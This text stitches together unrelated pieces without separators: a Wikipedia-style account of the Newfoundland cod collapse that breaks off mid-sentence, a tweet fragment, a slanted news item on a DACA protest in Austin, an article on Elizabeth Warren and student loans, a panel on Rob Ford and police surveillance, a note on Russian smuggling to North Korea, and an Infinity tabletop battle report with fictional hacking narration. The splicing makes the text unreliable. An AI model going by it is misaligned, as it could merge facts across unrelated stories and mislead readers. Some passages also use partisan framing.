A major factor that contributed to the depletion of the cod stocks off the shores of Newfoundland included the introduction and proliferation of equipment and technology that increased the volume of landed fish. For centuries local fishermen used technology that limited the volume of their catch, the area they fished, and let them target specific species and ages of fish.[8] From the 1950s onwards, as was common in all industries at the time, new technology was introduced that allowed fishermen to trawl a larger area, fish deeper and for a longer time. By the 1960s, powerful trawlers equipped with radar, electronic navigation systems and sonar allowed crews to pursue fish with unparalleled success, and Canadian catches peaked in the late 1970s and early 1980s.[9] The new technologies adversely affected the northern cod population in two important ways: by increasing the area and depth that was fished, the cod were being depleted until the surviving fish could not replenish the stock lost each year;[10] and secondly, the trawlers caught enormous amounts of non-commercial fish, which were economically unimportant but very important ecologically: incidental catch undermines the whole ecosystem, depleting stocks of important predator and prey species. With the northern cod, significant amounts of capelin – an important prey species for the cod – were caught as bycatch, further undermining the survival of the remaining cod stock.
Ecological ignorance [ edit ]
Another factor important to consider in understanding the fishery's collapse is uncertainty in assessing the cod as a resource. Management of a resource is an extremely complex task, with a multitude of interests, perspectives, and sources of information to take into account; when knowledge regarding the resource is limited, or clouded by imprecision, the task of managing it becomes even more difficult. The management of fisheries is associated with an especially high degree of uncertainty due to problems inherent in the nature of the resource. Newfoundland's cod fisheries were no exception: an imperfect understanding of the ocean ecosystem; technical and environmental challenges associated with observation techniques, which led to incomplete data on the resource (the cod); and the naturally high levels of variability in the population due to dynamic environmental factors (such as ocean temperature) combined to make it arduous to discern the effects of exploitation.[11] Unfortunately, this led to predictions about the cod stock that were mired in uncertainty, making it more difficult for the government to choose the appropriate course of action.
Socioeconomic free-for-all [ edit ]
In addition to ecological considerations, decisions regarding the future of the fisheries were also influenced by social and economic factors. Throughout Atlantic Canada, but especially in Newfoundland, the cod fishery was a source of social and cultural identity.[12] For many families, it also represented their livelihood: most families were connected either directly or indirectly with the fishery as fishermen, fish plant workers, fish sellers, fish transporters, or as employees in related businesses.[12] Additionally, many companies, both foreign and domestic, as well as individuals, had invested heavily in the boats, equipment and the infrastructure of the fishery, and therefore felt it was in their best interest to maintain an open-access policy to the ocean and its resources. This alludes to the unfortunate paradox that often accompanies open-access resources and is known by most as the Tragedy of the Commons: what is in the individual's best interest is not always in the best interest of a society at whole. In the case of Newfoundland and the northern cod fishery this meant that from the perspective of the individual participating in the fishing industry, maximizing their catch was in their best interest; however when the government failed to intervene – due largely to the highly sensitive nature of the political discourse created by the expansive group of stakeholders – the ecosystem was brought past its threshold and collapsed, leaving everyone worse off.[citation needed]
Governmental mismanagement [ edit ]
In 1949 Newfoundland joined Canada as a province, and thus Newfoundland's fishery fell under the management of the Department of Fisheries and Oceans. Unfortunately, the department mismanaged the resource and allowed overfishing.[13] Even today, should international fishing and exploitation of the residual resource resume in force, Canada has no capacity at all to enforce or police any limits to the practices of foreign fishing activity. Canada also has no policy plan, nor naval capacity to guard its own territorial rights and resources[citation needed].
In the 1960's the number of fishing trawlers increased, and inshore fishermen complained to the government.[14] This resulted in the government redefining the offshore fishery boundaries several times, and eventually extended its limits from 3 miles to 200 miles offshore,[13] as part of its claim for an exclusive economic zone under the UNCLOS.
In 1968 the cod catch peaked at 810,000 tons, approximately three times more than the maximum yearly catch achieved before the super-trawlers. Approximately 8 million tons of cod were caught between 1647 and 1750 (103 years), a period encompassing 25 to 40 cod generations. The factory trawlers took the same amount in 15 years.[15]
In 1976, the government declared the right to manage the fisheries in an exclusive economic zone that extended to 200 miles offshore. The government wanted to reverse declining fish stocks by removing foreign fishing within the new inshore fishery boundaries.[13] Fish mortality decreased immediately.[14] This was not due to a rise in cod stocks, it was because foreign trawlers could no longer fish the waters. Therefore, when Fisheries and Oceans set quotas, they overestimated the total stock, and increased the total allowable catch.[15] With the absence of foreign fishing many Canadian and U.S fishing trawlers took their place and the number of cod kept diminishing past a point of recovery.[13]
Many local fishermen noticed the drastic decrease of cod and tried to inform local government officials.
In 1978 a Newfoundland white paper was published, stating that:[16]
“ It must be recognised that both the Federal and Provincial Governments, plant workers, and the private sector, which includes fishermen, all have a role to play at influencing and directing the course of development within the fisheries sector. It is essential, therefore, that various interest group conflicts be minimized and that the appropriate measures be taken to ensure that benefits accruing from the exploitation of fish stocks are consistent with rational resource management objectives and desirable socio-economic considerations. ”
In 1986, scientists reviewed calculations and data, after which they determined, to conserve cod fishing, the total allowable catch rate had to be cut in half. However, even with these new statistics brought to light, no changes were made in the allotted yearly catch of cod.[13] With only a limited knowledge of cod biology, scientists predicted that the population of the species would rebound from its low point in 1975.
Local fishermen noticed the decrease of fish, but scientists reported otherwise[citation needed]. Catches increasing to more fish than ever before, caused actually by new technologies such as trawlers, were wrongly thought to be due to "the stock growing".[14]
In 1992, John Crosbie, the minister of Fisheries and Oceans at the time, set the quota for cod at 187,969 tonnes, even though only 129,033 tonnes had been caught the previous year.
In the early 1990s the industry collapsed entirely owing to overfishing and, debatably, greed, lack of foresight, and poor local administration.[17] By 1993 six cod populations had collapsed, forcing a belated moratorium on fishing.[15] Spawning biomass had decreased by at least 75% in all stocks, by 90% in three of the six stocks, and by 99% in the case of 'northern' cod, previously the largest cod fishery in the world.[15]
In 1992 the government announced the moratorium on cod fishing.[13], but it was too late. The moratorium was at first meant to last two years, hoping that the northern cod population would recover, and along with it the fishery. The damage done to Newfoundland's coastal ecosystem proved irreversible,[18] and the cod fishery remains closed.
Impact on Newfoundland [ edit ]
Approximately 35,000 fishermen and fish plant workers lost their jobs due to the collapse of the cod fisheries; many people had to find new jobs or further their education to be able to find jobs. It was devastating for many communities and impacted Newfoundland profoundly.
The collapse of the northern cod fishery marked a profound change in the ecological, economic and socio-cultural structure of Atlantic Canada. The moratorium in 1992 was the largest industrial closure in Canadian history,[19] and it was expressed most acutely in Newfoundland, whose continental shelf lay under the region most heavily fished. Over 35,000 fishermen and plant workers from over 400 coastal communities became unemployed.[12] In response to dire warnings of social and economic consequences, the federal government intervened, initially providing income assistance through the Northern Cod Adjustment and Recovery Program, and later through the Atlantic Groundfish Strategy, which included money specifically for the retraining of those workers displaced by the closing of the fishery.[20] Newfoundland has since experienced a dramatic environmental, industrial, economic, and social restructuring, including considerable emigration,[21] but also increased economic diversification, an increased emphasis on education, and a thriving invertebrates fishing industry emerging: as the predatory groundfish population declined, snow crab and northern shrimp proliferated, providing the basis for a new industry that is roughly equivalent in economic value to the cod fishery it replaced.[20]
Management after the collapse [ edit ]
In 1992, following the early 1990s collapse of Canadian stocks, the Canadian Department of Fisheries and Oceans (DFO) banned fishing for northern cod (that is, cod to the north and east of the island of Newfoundland, in Northwest Atlantic Fisheries Organization areas JKL as shown on this map. This caused great economic hardship in Newfoundland and Labrador.[citation needed] The collapse was blamed on cold water, or seals, and it had even been suggested that the cod were still there; only rarely was overfishing acknowledged, or management's role in that.[citation needed]
In 1995, Brian Tobin, the Canadian Federal Minister of Fisheries and Oceans, reopened the hunt on the harp seal, which prey on cod, stating: "There is only one major player still fishing the cod. His name is harp and his second name is seal."[22]
In 1997, inspired by the Grand Banks cod fishery collapse, the Marine Stewardship Council was founded to set global standards for sustainable fishing.[citation needed]
Im 1997 the Minister for DFO partly lifted the ban on Canadian cod fishing, ten days before a federal election, although independent Canadian scientists and the International Council for the Exploration of the Sea doubted there had been sufficient recovery.[23] In general, depleted populations of cod and other gadids do not appear to recover easily when fishing pressure is reduced or stopped.[24]
In 1998 the Committee on the Status of Endangered Wildlife in Canada (COSEWIC) assessed Atlantic Cod. COSEWIC's designations in theory are informed by reports that it commissions and by expert discussion in the panel, and it claims to be scientific and apolitical. Recognising faults in processes is not recreational, but an important step in their improvement. In this case much was mishandled. One observer opined "this process stinks";[25] the same observer later joined, and then became Chair of, COSEWIC. COSEWIC listed Atlantic cod as "vulnerable" (this category later renamed "special concern") on a single-unit basis, i.e. assuming a single homogeneous population. The basis (single-unit) of designation and the level (vulnerable) assigned was in contrast to the range of designations including "endangered"[26][27] for some of the 10 management (sub) units addressed in the report[28] that COSEWIC had commissioned from Dr. K.N.I. Bell. That contradiction between the report and the listing reflected political pressure from the DFO; such bureaucratic pressure had been evident through three years of drafts.
The 1998 designation followed on from a deferral in 1997 and bureaucratic tactics including what one COSEWIC insider characterised as "a plan to make it late".[25][29] Press interest before the 1998 meeting[27] had, however, likely deterred a further deferral. COSEWIC's'single unit' basis of listing was at the behest of DFO, although DFO had previously in criticism demanded (properly, given the new evidence) that the report address multiple stocks. Bell had agreed with that criticism and revised accordingly, but DFO then changed its mind without explanation.
By the time of COSEWIC's 1998 cod discussion, the Chair had been ousted for having said "I have seen a lot of status reports... [i]t is as good as I have ever seen in regards to content",[25] and COSEWIC had already attempted to unilaterally alter[30] the 1998 report. The report remains one of an undeclared number that are illegally suppressed (COSEWIC refuses to officially release it unless it can change it "so that it... reflects COSEWIC's designation"),[29] in this case despite kudos from eminent reviewers of COSEWIC's own choice.[31] COSEWIC in defense asserted a right to alter the report or that Bell had been asked to provide a report that supported COSEWIC's designation;[29] either defense would involve clear violations of ethics, of COSEWIC's procedures at the time, and of the norms of science. The key tactics used to avert any at-risk listing centered on the issue of stock discreteness, and DFO's single-stock stance within COSEWIC contradicted the multiple-stock hypothesis supported by the most recent science (including DFO's, hence DFO's earlier and proper demand that the report address these). Bell has argued that this contradiction between fact and tactic effectively painted management into a corner from which it could not acknowledge or explain the contrast between areas where conservation measures were clearly needed and areas where opposite observations were gaining press attention.[32] In effect, DFO's opposition to a listing compromised its ability to carry out its conservation mandate.
In 1998, the Committee on the Status of Endangered Wildlife in Canada (COSEWIC) listed the Atlantic cod as "vulnerable", a category subsequently rebranded as "special concern", though not as an endangered species. This decision process is formally supposed to be informed by |
2win elec http://t.co/DUgAKMMY0K — Zoe (@zozopotamus) August 12, 2014Advocates for Obama’s Deferred Action for Childhood Arrivals (DACA) program took an intersection hostage near the Texas capitol this week which ended in 15 of them being arrested for obstructing a highway and being charged with a Class B misdemeanor.
Legal Insurrection reports that the protest was initially scheduled to be a crowded sit-in targeting Texas Attorney General Ken Paxton, but the few protesters that did show up instead chose to make the commute a little harder for the people of Austin.
In charge of the protest was radical leftist advocacy group Cosecha, which has a large presence across at least 20 states. However, maybe two dozen protesters were on hand. The ages of those arrested ranged from 20 to 42. They sat down in the intersection and blocked traffic. They chanted “sí se puede” and “undocumented and unafraid” while demanding “permanent protection.” Officers had a difficult time removing them, but within an hour, it fizzled out.
Still, Cosecha boasted of its participants, particularly those who take advantage of DACA:
“[This was] the first time undocumented youth participate[d] in a civil disobedience action since Trump took office. The four DACA recipients arrested yesterday in a civil disobedience action were released late Wednesday night. Eleven allies who participated in the action were released in the early hours of the morning, refusing to leave jail until they received confirmation that all four DACA recipients had been safely released.”
Legal Insurrection’s Kimberly Kaye noted: “The ‘safely released’ is a nice touch, as though they’d be dangerously released? In any case, we have another astroturfed prog group who fell spectacularly short of their protest promises for the books.”
“Maybe targeting Texas on immigration issues (where most Texans are unified) is not the best place to start. Maybe,” Kaye added.
Video of the failed protest is below:Warren’s hard-line positioning shows how the Senate is growing more polarized. Elizabeth Warren, hard-liner
Earlier last week at the White House, President Barack Obama tried to use his powers of persuasion on Elizabeth Warren, privately urging the consumer watchdog-turned-Massachusetts senator to back the student loan deal he was reaching with Senate leaders.
It didn’t work.
Story Continued Below
On Thursday, she went to the Senate floor to attack the plan, saying it would hurt students and benefit big banks. “I think this whole system stinks. We should not go along with any plan that continues to produce profits for the government. It is wrong,” Warren said.
( QUIZ: Do you know Elizabeth Warren?)
This wasn’t an isolated incident. After nearly seven months in office, Warren has staked out firm ground to the left of the president and Senate Democratic leaders. She has called for prosecuting the actors in the financial meltdown; urged Senate leaders to invoke the nuclear option to help confirm Richard Cordray as head of the Consumer Financial Protection Bureau, an agency she helped create; and was one of just four senators to vote against Obama’s U.S. trade representative nominee, demanding more transparency on trade agreements.
For someone elected as a liberal darling after facing opposition for the CFPB job — and whose name is often seen alongside “2016” — Warren’s causing some heartburn among her fellow Democrats.
So after the president’s efforts failed to sway Warren, Senate Majority Whip Dick Durbin, who represented Illinois alongside Obama, took 20 minutes on the Senate floor Thursday to push back against Warren and her student loan position. Compromise is necessary, he said, to avoid further hurting students after so many false starts on legislation to avert skyrocketing rates.
“There are some who’d like to hold out for something different. I’m with ’em,” Durbin said. “But I’ve watched the votes here. … Face the reality.”
Warren’s hard-line position underscores how the Senate is growing increasingly polarized, with younger and more ideologically driven senators carrying major weight within their respective caucuses.
Indeed, Warren and several other liberal Democrats stood in the way of the bipartisan deal that had been emerging for several weeks, giving the GOP fodder to seize on the Democratic divide. The lawmakers, including Sens. Jack Reed (D-R.I.), Bernie Sanders (I-Vt.) and Warren, opposed the deal because it continues a government program they think is based more on revenue than on helping students. They contend the program creates profits of $184 billion over the next 10 years.
On the floor of the Senate, she described Republicans’ position on student loans as “whatever you do, make sure that the government makes $184 billion off the backs of students.”
Just as she pilloried the bipartisan proposal, Republicans scoffed at her idea. Her first bill — which drew 10 co-sponsors — would let students struggling with rising college costs borrow money at the same low rate — currently less than 1 percent — as the big banks.
“I thought she was off the wall before. That’s nonconventional thinking,” said Sen. Richard Shelby of Alabama, a senior Republican on the Banking Committee. “I don’t think that’s a sound proposal.”
“It sounds so attractive to say: ‘Shouldn’t students borrow at the same rate that banks do?’ She just forgets to tell them that banks have to pay it back the next day,” said Sen. Richard Burr (R-N.C.), an architect of the loan deal.
“Bipartisan positions have to be somewhat similar,” Burr added. “Hers is so radical in comparison to the president’s plan, the House’s plan, the bipartisan plan, even where Dick Durbin is.”
Warren’s allies say she is helping reframe the debate and pushing lawmakers to consider consumers rather than banks. In fact, Senate sources think a move toward deficit neutrality stemmed from her rhetoric against the government’s profitable loan operation.In response to reports that Toronto Police spent the summer conducting aerial surveillance of Mayor Rob Ford and his associates, Doug Ford suggested that the Downtown Elites have merely grown wings as part of their ongoing efforts to harrass his beleaguered brother. Matt Gurney, Chris Selley, and NOW‘s Jonathan Goldsbie rain down their own death from above.
Gurney: It’s getting increasingly difficult to figure out how to start these panels. Every time we have to talk about this stuff, it seems to me that this can’t get any more bizarre. And then it does. Last week, one of Mayor Ford’s close friends, a man who recently sprang into the public’s attention after Ford’s troubles relating to the alleged crack video began this year, was arrested for various drug-related charges. I’m almost at the point where even that was sort of within my realm of expected contingencies. But then we found out this: the Toronto police have apparently been following Mayor Ford, and some of his associates, around Etobicoke … in an airplane. Even given all that we already know, the whole airplane thing is definitely unusual. I found myself almost pleasantly surprised to realize I still could be surprised. And then there was Doug Ford’s response to the whole thing. He got in touch with Joe Warmington over at the Toronto Sun
, and acted like the whole thing was no big deal. Oh yeah, we know about that, etc. Okay, then. So you have an airplane following the mayor around. The mayor and his closest associates know this is the case. And the fiercely anti-tax, respect-the-little guy Ford family doesn’t find it odd that the police are spending so much time and energy investigating them? I don’t know what a reasonable response to this sort of thing would be. But I think total blasé apathy is probably not it.
Selley: What Doug told the Sun is just bizarre. He claims to have called up two superintendent friends at the Police, who assured him that it was related to “a bust they were making at the airport.” Can anyone just call up the cops and receive such assurances? In any event, he wasn’t having it. “You know when a plane is surveilling you,” said Doug. Really? What, from years of experience? He also claims the police have bugged the Ford family’s telephones, but hey, that’s no big deal. “Rob is fine,” he assures us.”He has rhinoceros skin.” It’s all just (Ford’s words) “some elitist people in Toronto” (Warmington’s words) “trying to obtain the reins of power,” he says. What? It’s as if he has just casually added a bloody police investigation to the list of piddling annoyances the Fords have to endure as they fight relentlessly for the taxpayer. Will he say the same if they’re arrested for God knows what? “The cops have always had it in for us Fords! We’re political prisoners!” Silence is a PR tool that has worked brilliantly for the Fords. Why Doug saw fit to address this flare-up, while ignoring so many others, is quite a mystery.
Goldsbie: Like Buster Keaton with the house falling down around him, the comedy comes less from the increasingly elaborate situations in which the Fords become entangled than from their ever-more-improbable methods of escape. Things that would and should spell disaster for any other living human become no more than set-ups for the city’s favourite gag: how will those crazy Fords manage to get out of this one? Rob typically dodges, evades, and lies, while Doug typically describes a deranged alternate reality in which he and his brother are perfect and the rest of the world is mad. They make a great double act, further leavened by interstitials of slapstick farce, such as Sandro Lisi’s zany efforts to escape the media at Old City Hall. And it will always get weirder. In response to the Star report that at the Leafs playoff game on May 8, “Ford and Lisi disappeared together into a small washroom in the director’s lounge, with no explanation given when they emerged,” Ford’s former executive assistant tweeted “Do you question when women go to the washroom together?” If Ford and Lisi were in fact absconding to a one-toilet washroom in order to examine each other’s makeup, I withdraw my snark.
Gurney: Bizarre certainly is the word. First of all, as you note, they could have easily just have ignored this. Normally, I would say that having a plane sent after you is the sort of thing you could not afford to ignore. But in this case, that’s wrong for two reasons. It’s wrong because the police themselves won’t speak about what’s going on. And it’s wrong because, let’s face it, it’s the Fords. They probably could have simply ignored this. As it so happens, they chose not to, which is weird, but I still find it weirder still how they actually chose to address the issue. Where’s the outrage over this invasion of privacy, from a family that is blown away by reporters on their driveway (I actually agree with them about that, but a plane above you is something of a bigger deal). And where is the outrage about the hellish amount of money this must be costing the taxpayers? Maybe Doug knows more than he’s letting on, and is forcing on a happy face. I just don’t know.
Selley: Don’t be so naive, Jonathan. We all know what women are really doing in the bathroom together. They’re talking about political strategy, just like Ford and Lisi were. And high-ranking homicide officer Det.-Sgt. Gary Giroux is presumably investigating Lisi’s marijuana trafficking case because he’s been under a lot of pressure and just needed something lighter for a change. And who hasn’t had a police airplane buzz around one’s property, à la Goodfellas, trying to dig up some dirt. They’re notorious nosy parkers.
Goldsbie:The Star spoke to a neighbour of Lisi’s who said she would see the mayor park his car outside his house up to four times a week. “Lisi would come out of the house and lean into the driver’s side window for a few minutes.” And that would be the whole visit. When I asked on Twitter whether there could be any doubt what it was they were doing, the Sun‘s Warmington replied, “Maybe he was bringing a sick old lady hot soup?” I am unsure whether Warmington was joking. But I am quite confident there are people who would accept such a rationalization. One of Ford’s greatest successes has been to live his life so outlandishly that the truth can seem utterly implausible.Russian smugglers are illicitly supplying North Korea with contraband energy and goods, evading sanctions and ignoring concerns about the isolated Asian country’s nuclear tests, the Washington Post reported Monday.
“As the Chinese cut off oil and gas, we’re seeing [North Korea] turn to Russia,” the newspaper quoted an unnamed senior U.S. official with knowledge of alleged Russian smuggling into North Korea as saying on Monday.
Officials and experts reportedly noticed a sharp rise in supplies of Russian diesel and other fuels to North Korea starting in spring 2017.
The newspaper said a “dedicated ferry line” was launched between Russia’s Far East and North Korea to accommodate heavy traffic. The spike coincided with new UN sanctions and a ban on Chinese government fuel shipments in May, according to the Post.We played on a lovely board made by one of our locals. It’s meant to be the Aristeia combat stadium, with a big raised platform, holo ads, and lots of transparent LoF blocking but not LoS blocking pieces (the little clear tubes, right of frame). What’s really cool is that the riser supporting the main platform is actually a box that can carry the entire board, including all the scatter terrain! And yes, that is green EL wire, and yes, it looked awesome in person. The angry face “Hostile” tokens are the objectives for Supremacy. Clearly, not a lot of cover on the objectives!
Overview
Mission : ITS Supremacy
: ITS Supremacy Forces : 300 pts Nomads versus Shock Army of Acontecimento
: 300 pts Nomads versus Shock Army of Acontecimento Deploy First : Shock Army of Acontecimento
: Shock Army of Acontecimento First Turn: Shock Army of Acontecimento
And now, the lists! I was trying out the Intruder Lt to have access to grenades to dislodge something in turn three and other such options. The rest of my stuff was pretty standard. Zero hackers continue to be amazing, as we’ll see later. I took a Prowler Spitfire as well, with the intent of breaking link teams with it.
Nomads GROUP 1 8 INTRUDER Lieutenant Combi Rifle + Light Flamethrower, Grenades / Pistol, CCW. (0 | 35)
LUPE BALBOA Combi Rifle, Nanopulser, Panzerfaust, Smoke Grenades / Pistol, CCW. (0 | 23)
JAGUAR Adhesive Launcher, Panzerfaust / Pistol, DA CCW. (0.5 | 13)
REVEREND HEALER MULTI Rifle, Nanopulser / Pistol, EXP CCW. (0 | 37)
ZONDBOT Electric Pulse. (0 | 3)
ZERO Hacker (Killer Hacking Device) Combi Rifle, Antipersonnel Mines / Pistol, Knife. (0 | 21)
INTERVENTOR Hacker (Hacking Device Plus) Boarding Shotgun / Pistol, Knife. (0.5 | 24)
PROWLER Spitfire, D-Charges / Pistol, CCW. (2 | 36)
HELLCAT HMG, E/Mauler / Pistol, Knife. (1.5 | 31) GROUP 2 5 MORAN (Forward Observer) Combi Rifle, CrazyKoalas (2) / Pistol, Knife. (0.5 | 22)
ZERO Hacker (Assault Hacking Device) Combi Rifle, Antipersonnel Mines / Pistol, Knife. (0.5 | 24)
JAGUAR Chain Rifle, Smoke Grenades / Pistol, DA CCW. (0 | 10)
MODERATOR Paramedic (MediKit) Combi Rifle / Pistol, Electric Pulse. (0 | 11)
MODERATOR Combi Rifle + Pitcher / Pistol, Electric Pulse. (0.5 | 10) 6 SWC | 300 Points | Open in Infinity Army
My opponent took this list the last time I played him in Decapitation, and it did NOT go well for me. It started really well. I infiltrated a Zero BSG over the centerline, climbed up to get his prone Lt, and then failed all my rolls. My Hellcat dispersed, died, and then his TAG marched across the board and shot everything to pieces. Time for a rematch! Again, I don’t know what his combat groups were, and I’m not sure of a few minor details, but this is pretty accurate:
Shock Army of Acontecimento REGULAR Lieutenant Combi Rifle / Pistol, Knife. (0 | 10)
REGULAR Paramedic (MediKit) Combi Rifle / Pistol, Knife. (0 | 12)
REGULAR Paramedic (MediKit) Combi Rifle / Pistol, Knife. (0 | 12)
REGULAR (Sapper) MULTI Sniper Rifle / Pistol, Knife. (1.5 | 22) BAGH-MARI (Minelayer) MULTI Sniper Rifle, Antipersonnel Mines / Pistol, Knife. (1.5 | 28)
KNIGHT OF MONTESA Combi Rifle + Light Grenade Launcher, Chain-colt / Breaker Pistol, Shock CCW. (1 | 48)
BULLETEER Heavy Shotgun / Electric Pulse. (0 | 17)
TIKBALANG HMG, Heavy Flamethrower, Antipersonnel Mines / AP CCW. (2 | 85)
CRABBOT Flash Pulse / Knife. ()
NAGA Hacker (Killer Hacking Device) Combi Rifle, Antipersonnel Mines / Pistol, Knife. (0 | 30)
NAGA Hacker (Killer Hacking Device) Combi Rifle, Antipersonnel Mines / Pistol, Knife. (0 | 30)
TECH-BEE (Remote Assistant Level 1, Specialist Operative) Flash Pulse / Pistol, Knife. (0 | 5) 6 SWC | 299 Points | Open in Infinity Army
Deployment
I remembered to take pictures this time! My opponent ended up setting up first and going first. He put his Bagh Mari and Tech Bee at the top of the stairs, deploying the Bagh Mari’s mine in his backfield. His link team stuck his sapper sniper on a little perch with his Lt and paramedics strung out below the platform with one paramedic ready to pick the sapper back up.
The Tikbalang hung out covering my right flank through the gap below, and his Bulleteer stood ready to zoom up my left flank. His knight and Nagas sat in the midfield, ready to get to work. You can see the Naga on the small building right of frame, between the two objective markers, and the other is right next to the knight mid-frame.
Deploying was a bit of a puzzle, as there really wasn’t all that much cover and I only had two smoke sources. I ended up just trying to keep everything away from the TAG. Moran in the center behind the spiked pillar, Crazy Koalas covering the objectives on my side. Zero KHD on my left, Zero AHD on my right, both prone. Lupe and the chain rifle Jaguar watching the platform, with moderators and the Reverend Healer’s bot ready to climb up the stairs. My Interventor, Intruder, and Reverend Healer hung out on either side of the platform, with the Interventor on the same side as the AHD to deal with the Tik. I placed my Intruder to face off against the Bulleteer’s ODD. My Prowler is hanging out on the ground near the VHS tape covered in decals on the centerline, near the Knight and Naga, with the intention of walking around and getting some shots on his link team, hopefully breaking it.
Jaguar Chain Rifle: Hey look, I’m Señor Massacre! With a wide grin at Lupe, the Jaguar flourishes his curved knife and strikes an aggressive pose. Lupe responds by flashing him a rare smile and mimes an overly dramatic sword twirl before dropping into a combat crouch, reminiscent of Massacre’s Aristeia adverts. Jaguar ADHL: Hah! I saw him the other day, it’s more like- Intruder Lt: ¡Oye! Focus! Bakunin wants us to plant some more hidden cameras so we can get footage for Arachne. Let’s spread out, find the best angles. Hackers, keep spoofing their cam feeds, we don’t want Aristeia security showing up. Sweep and clear, people! We can play dress up lat- ¡Joder! Contacts at our 12!
Turn 1
Shock Army of Acontecimento (Top of Turn 1)
The first few orders my opponent spends are advancing his Bagh Mari to an elevated position on the other side of the table. My Jaguar throws smoke, covering himself. I figure I need the Jaguar alive for smoke later, in case Lupe goes down. In retrospect, I should’ve covered the Moran too, but I wanted to keep Lupe’s Panzerfaust in the fight. Finally in position, the Bagh Mari shoots at my Moran, who attempts a flash pulse and fails, going unconscious. His follow up shots hit Lupe, but she passes her ARM rolls and elects to drop prone.
Bagh Mari: X-Rays and Crazy Koalas, far stairs. Red. Red. Green. Regular Lt: Take the shot. Lupe: Contact at our 11! The Moran, having just hit the deck at the Intruder’s call of “contact,” reflexively pokes his head out to check the 11 o’clock zone… and loses it. Lupe’s return panzerfaust round goes wild, detonating harmlessly in the air above the Bagh Mari. Bagh Mari: X-Ray down. Taking fire! They have heavy weapons! Suppressing! Lupe: Sniper! Lost the CKs! We’re pinned down! Jaguar Chain Rifle: Smoke out!
My opponent is now almost out of orders for whichever group the Tech Bee is in, but he’s forced me into total cover/concealment. Safe from AROs, he just walks the Tech Bee up to the nearest button and pushes it successfully.
Swapping combat groups, he activates the Tikbalang, climbs up onto the platform, and starts marching over to flamethrower everyone. Unfortunately for him, while I don’t have LoF to any of this, he ends movement in ZoC of my AHD Zero. Naturally, I reveal and declare Overlord (I neglected to read the text for Total Control) to try and possess the Tik. I succeed, but he passes his BTS roll. He then reveals his Naga KHD on that side (but forgets to remove the camo token next to the knight), and tries to kill my Zero AHD with Trinity. I ARO with Carbonite. I win the FtF (thanks, dice!) and he fails one of his BTS rolls. The Naga is Immobilized!
With his last order, he stomps the Tik over to the Naga so he can see my Zero’s base. I declare Total Control, and he declares full-burst HMG. I realize that the new position might put the Tik in ZoC of my Interventor, so we check, and it is, so I declare Overlord with her as well. He wins the FtF against my Zero, landing three hits, and my Interventor’s Overlord roll succeeds as well. I roll a 17, 18, and 20 on my ARM rolls, and the Tik passes BTS. And with that, the turn passes to me with an Interventor HD+ and a Zero AHD in hacking range of his Tik…
Nomads (Bottom of Turn 1)
I do the obvious thing and spend two orders possessing the TAG with my Interventor, since my Zero AHD is in the ZoC of the Naga but the Interventor isn’t. I spin the Tikbalang around and drop a heavy flamethrower template on the Naga and the knight. The Naga goes unconscious, and the knight makes his dodge roll. The sapper sniper takes two STR off the Tikbalang with his normal rolls. I activate the Tikbalang again and put two dice each into the knight and the sapper, putting a wound on the the knight and blowing the sapper away. I push up to see the Bagh Mari and the knight and split HMG fire between the two of them, but the they win their FtF rolls and the Tik goes unconscious after failing an ARM save for the Bagh Mari’s MSR hit.
Regular Lt: Get the Tik in there. Sweep for enemy hackers! Naga KHD: Moving in. The Tikbalang clambered up the side of the Aristeia platform smoothly, finally planting its feet firmly on the Crimson Pitch. The pilot light of its napalm projector flickered like a snake’s tongue, testing the area for prey. In concert, the Naga slunk ahead of the TAG, malevolent code spooling like venom into her I/O buffers. Zero AHD: I have hostile contacts on my scanner! TAG! Oh shit, enemy hacker too! Interventor: Jack me into your data stream! Moments before, the Zero had been tweaking her changes to the Aristeia security camera footage, originally intending to loop back holo images of an empty field for the sake of any watching security personnel. It was a trivial exercise to redirect the massive live holovid packet stream into the comms array of the Naga, who was treated to a thousand sensory streams of her own body moving slightly out of sync with itself. The Naga froze in place, buffeted by the sensory overload, unable to differentiate reality from the data stream. In those thousands of parallel data streams, the Interventor found the one leading back to the Tikbalang’s remote pilot and went to work, splicing in a time-delayed version of the Tikbalang’s sensor feed. Interventor: Juke to your right! Tikbalang Pilot: Enemy Zero in sight! Firing! A stream of tracers lasered its way through the space where the Zero had just been, spalled chips of concrete pattering off the Zero’s light armor. Hacking furiously, the Interventor mirrored the Zero’s movement in the TAG’s data stream, so while the real Zero went right, the virtual one went left. A few deftly spoofed packets later, the virtual Zero’s avatar ran off the platform she had been crouched on and seamlessly overwrote the thousand forms of the immobilized Naga. In the heat of the moment, the TAG pilot didn’t notice that his feed suspiciously did not show the Knight of Montesa and pivoted to bring his heavy flamethrower to bear… Tikbalang Pilot: Slippery eel! You can’t dodge this! Thousands of Nagas immolated in the expanding cone of napalm, each hungry tongue of flame captured in exquisite detail for all the Aristeia fans. Reacting quickly, the Knight rolled backwards, smoke streaming off his armor. Knight of Montesa: TAG compromised! I say again, TAG compromised! Regular Lt: All units, fire on the Tikbalang! Zero AHD: Rerouting stream to you! The Interventor seized the incoming holovid stream from the Aristeia stadium, reversed the rendering of the field, and fed the new stream to the TAG, replacing the Pan Oceanian soldiers with live holoimages of Nomads. Then the Panoceanian snipers opened fire. Tikbalang Pilot: I’m taking effective fire! They have anti-armor rounds! Engaging! The Bagh Mari Sniper slammed a fresh magazine home into the receiver, the first caseless, electrically actuated round automatically finding its way into the firing chamber. Lines of targeting information from his rifle splashed across his multi spectral visor, accentuated by strobing HMG tracers as they sawed the Regular Sniper in half. The Bagh Mari’s IFF system still hadn’t reclassified the TAG as hostile, so he just emptied his fresh magazine as fast as his trigger would reset. Unsubtle, inaccurate, but effective at achieving the necessary result: coolant and musculature hydraulic fluids slowly spread from beneath the husk of what had been, just moments before, a combat effective TAG. Bagh Mari: It’s done. The TAG is- The panzerfaust warhead impacted center-of-mass. The shaped charge jet cored straight through two layers of advanced ceramic armor before the concussion wavefront plastered the remains of the Bagh Mari across his elevated position and sent his MULTI sniper rifle spinning away like a boomerang, straight into the path of a Hellcat in final descent. Jaguar ADHL: Did you see that!? I’m fuggin’ gonna be on the Aristeia highlight reel, ese! Hellcat: Madre de dios! What the hell was that?
My Jaguar ADHL panzerfausts the Bagh Mari off the table, but I fail the Hellcat’s PH roll, disperse right next to a mine (other side of the stairs), and it dies. My poor Hellcat hasn’t really been having all that much success! Somewhere in here my chain rifle Jaguar dies, but I don’t really remember how. Probably died to the Bagh Mari while trying to throw smoke?
With my last few orders, I bring the Moderators up the stairs, throw out a repeater with the Pitcher to give my Zero KHD AROs on the unconscious Naga KHD, just in case, and attempt a paramedic roll on the downed Moran, but fail and remove him from the table.
Turn 2
